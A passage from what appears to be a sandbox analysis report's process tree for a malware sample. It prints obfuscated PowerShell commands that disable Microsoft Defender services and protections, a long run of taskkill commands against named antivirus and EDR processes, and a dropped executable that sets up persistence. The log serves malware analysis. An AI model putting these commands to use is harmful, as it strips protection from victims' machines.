      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGQARgBpAGwAdABlAHIAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGQATgBpAHMAUwB2AGMAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
    3⤵
    PID:1388
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGQATgBpAHMAUwB2AGMAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAVwBpAG4ARABlAGYAZQBuAGQAIAAtAFMAdABhAHIAdAB1AHAAVAB5AHAAZQAgAEQAaQBzAGEAYgBsAGUAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
    3⤵
    - Executes a command shell one-liner
    PID:2444
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAVwBpAG4ARABlAGYAZQBuAGQAIAAtAFMAdABhAHIAdAB1AHAAVAB5AHAAZQAgAEQAaQBzAGEAYgBsAGUAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avp.exe"
    3⤵
    PID:1488
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avp.exe
      4⤵
      PID:4464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kav.exe"
    3⤵
    PID:3968
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kav.exe
      4⤵
      PID:2688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kis.exe"
    3⤵
    PID:3576
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kis.exe
      4⤵
      PID:3616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kaspersky.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3872
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kaspersky.exe
      4⤵
      Kills process with taskkill
      PID:4188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im drweb.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3620
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im drweb.exe
      4⤵
      Kills process with taskkill
      PID:876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im dwengine.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2992
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im dwengine.exe
      4⤵
      Kills process with taskkill
      PID:60
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMService.exe"
    3⤵
    PID:4120
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMService.exe
      4⤵
      PID:2756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Malwarebytes.exe"
    3⤵
    PID:3200
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Malwarebytes.exe
      4⤵
      PID:4136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MsMpEng.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3852
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MsMpEng.exe
      4⤵
      PID:2400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im NisSrv.exe"
    3⤵
    PID:3304
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im NisSrv.exe
      4⤵
      PID:4028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecurityHealthService.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4496
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecurityHealthService.exe
      4⤵
      Kills process with taskkill
      PID:1572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avg.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4708
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avg.exe
      4⤵
      PID:5092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avast.exe"
    3⤵
    PID:896
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avast.exe
      4⤵
      Kills process with taskkill
      PID:4248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im AvastSvc.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1332
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im AvastSvc.exe
      4⤵
      PID:1912
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Norton.exe"
    3⤵
    PID:4324
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Norton.exe
      4⤵
      Kills process with taskkill
      PID:4344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Symantec.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2652
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Symantec.exe
      4⤵
      PID:1464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im McAfee.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3204
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im McAfee.exe
      4⤵
      PID:4696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Mcshield.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2168
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Mcshield.exe
      4⤵
      PID:1040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Sophos.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3604
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Sophos.exe
      4⤵
      PID:3836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Bitdefender.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2024
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Bitdefender.exe
      4⤵
      Kills process with taskkill
      PID:3828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im vsserv.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1760
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im vsserv.exe
      4⤵
      PID:2768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ESET.exe"
    3⤵
    PID:756
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ESET.exe
      4⤵
      PID:4160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ekrn.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5092
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ekrn.exe
      4⤵
      Kills process with taskkill
      PID:5052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im F-Secure.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5100
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im F-Secure.exe
      4⤵
      Kills process with taskkill
      PID:4304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im GData.exe"
    3⤵
    PID:2344
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im GData.exe
      4⤵
      Kills process with taskkill
      PID:2844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Panda.exe"
    3⤵
    PID:384
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Panda.exe
      4⤵
      PID:2116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im TrendMicro.exe"
    3⤵
    - Executes a command shell one-liner
    PID:876
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im TrendMicro.exe
      4⤵
      PID:740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im CrowdStrike.exe"
    3⤵
    - Executes a command shell one-liner
    PID:988
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im CrowdStrike.exe
      4⤵
      PID:2472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im CSAgent.exe"
    3⤵
    PID:4380
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im CSAgent.exe
      4⤵
      PID:2136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SentinelOne.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3300
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SentinelOne.exe
      4⤵
      PID:3188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Cynet.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3972
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Cynet.exe
      4⤵
      Kills process with taskkill
      PID:3716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im DeepInstinct.exe"
    3⤵
    PID:1260
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im DeepInstinct.exe
      4⤵
      PID:2088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Elastic.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3820
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Elastic.exe
      4⤵
      PID:2688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Gridinsoft.exe"
    3⤵
    PID:3984
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Gridinsoft.exe
      4⤵
      Kills process with taskkill
      PID:3348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecureAge.exe"
    3⤵
    PID:3768
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecureAge.exe
      4⤵
      PID:3616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Avira.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4200
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Avira.exe
      4⤵
      PID:2116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Zillya.exe"
    3⤵
    PID:2796
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Zillya.exe
      4⤵
      PID:3808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMService.exe"
    3⤵
    PID:4300
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMService.exe
      4⤵
      PID:4356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Malwarebytes.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4756
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Malwarebytes.exe
      4⤵
      Kills process with taskkill
      PID:872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMTray.exe"
    3⤵
    PID:3828
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMTray.exe
      4⤵
      Kills process with taskkill
      PID:788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMWsc.exe"
    3⤵
    PID:5060
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMWsc.exe
      4⤵
      Kills process with taskkill
      PID:4280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAM.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4160
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAM.exe
      4⤵
      Kills process with taskkill
      PID:2672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im mbam.exe"
    3⤵
    PID:3028
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im mbam.exe
      4⤵
      Kills process with taskkill
      PID:1128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMChameleon.exe"
    3⤵
    PID:1212
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMChameleon.exe
      4⤵
      PID:4712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgApAAoAZgBvAHIAZQBhAGMAaAAgACgAJABwACAAaQBuACAAJABwAHIAbwBjAGUAcwBzAGUAcwApACAAewAgAAoAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIAAkAHAAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAAoAfQA="
    3⤵
    PID:3628
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgApAAoAZgBvAHIAZQBhAGMAaAAgACgAJABwACAAaQBuACAAJABwAHIAbwBjAGUAcwBzAGUAcwApACAAewAgAAoAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIAAkAHAAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MsMpEng.exe"
    3⤵
    PID:2232
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MsMpEng.exe
      4⤵
      PID:4904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im NisSrv.exe"
    3⤵
    PID:2012
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im NisSrv.exe
      4⤵
      PID:3668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecurityHealthService.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4384
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecurityHealthService.exe
      4⤵
      Kills process with taskkill
      PID:3380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MpCmdRun.exe"
    3⤵
    PID:1820
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MpCmdRun.exe
      4⤵
      Kills process with taskkill
      PID:2760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MSASCui.exe"
    3⤵
    PID:4688
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MSASCui.exe
      4⤵
      Kills process with taskkill
      PID:3736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MSASvc.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3248
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MSASvc.exe
      4⤵
      PID:2860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA=="
    3⤵
    PID:5000
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA==
      4⤵
      PID:4304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA=="
    3⤵
    - Executes a command shell one-liner
    PID:1092
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA==
      4⤵
      PID:3332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUA"
    3⤵
    PID:4408
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUA
      4⤵
      PID:1992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA="
    3⤵
    PID:1644
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA=
      4⤵
      PID:4136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBQAHIAaQB2AGEAYwB5AE0AbwBkAGUAIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA="
    3⤵
    PID:3824
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBQAHIAaQB2AGEAYwB5AE0AbwBkAGUAIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA=
      4⤵
      PID:1572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgAgAC0ARgBvAHIAYwBlAA=="
    3⤵
    PID:2688
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgAgAC0ARgBvAHIAYwBlAA==
      4⤵
      PID:4348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBBAFAAUwBSAGUAcABvAHIAdABpAG4AZwAgADAAIAAtAEYAbwByAGMAZQA="
    3⤵
    PID:4848
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBBAFAAUwBSAGUAcABvAHIAdABpAG4AZwAgADAAIAAtAEYAbwByAGMAZQA=
      4⤵
      PID:1528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AQwBsAG8AdQBkAEIAbABvAGMAawBMAGUAdgBlAGwAIAAwACAALQBGAG8AcgBjAGUA"
    3⤵
    PID:1564
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AQwBsAG8AdQBkAEIAbABvAGMAawBMAGUAdgBlAGwAIAAwACAALQBGAG8AcgBjAGUA
      4⤵
      PID:4672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGkAbgBEAGUAZgBlAG4AZAAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA=="
    3⤵
    - Executes a command shell one-liner
    PID:3052
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGkAbgBEAGUAZgBlAG4AZAAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA==
      4⤵
      PID:2400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGQARgBpAGwAdABlAHIAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
    3⤵
    - Executes a command shell one-liner
    PID:440
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGQARgBpAGwAdABlAHIAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
      4⤵
      PID:3416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGQATgBpAHMAUwB2AGMAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
    3⤵
    - Executes a command shell one-liner
    PID:4152
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGQATgBpAHMAUwB2AGMAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
      4⤵
      PID:3484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAVwBpAG4ARABlAGYAZQBuAGQAIAAtAFMAdABhAHIAdAB1AHAAVAB5AHAAZQAgAEQAaQBzAGEAYgBsAGUAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
    3⤵
    PID:1272
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAVwBpAG4ARABlAGYAZQBuAGQAIAAtAFMAdABhAHIAdAB1AHAAVAB5AHAAZQAgAEQAaQBzAGEAYgBsAGUAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
      4⤵
      PID:4644
- - C:\Users\Admin\AppData\Local\Temp\_temp_o2yxtdph\program1.exe
    "C:\Users\Admin\AppData\Local\Temp\_temp_o2yxtdph\program1.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Installs/modifies Browser Helper Object
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Modifies registry class
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of SetWindowsHookEx
    PID:3668
  - - C:\Windows\SysWOW64\regsvr32.exe
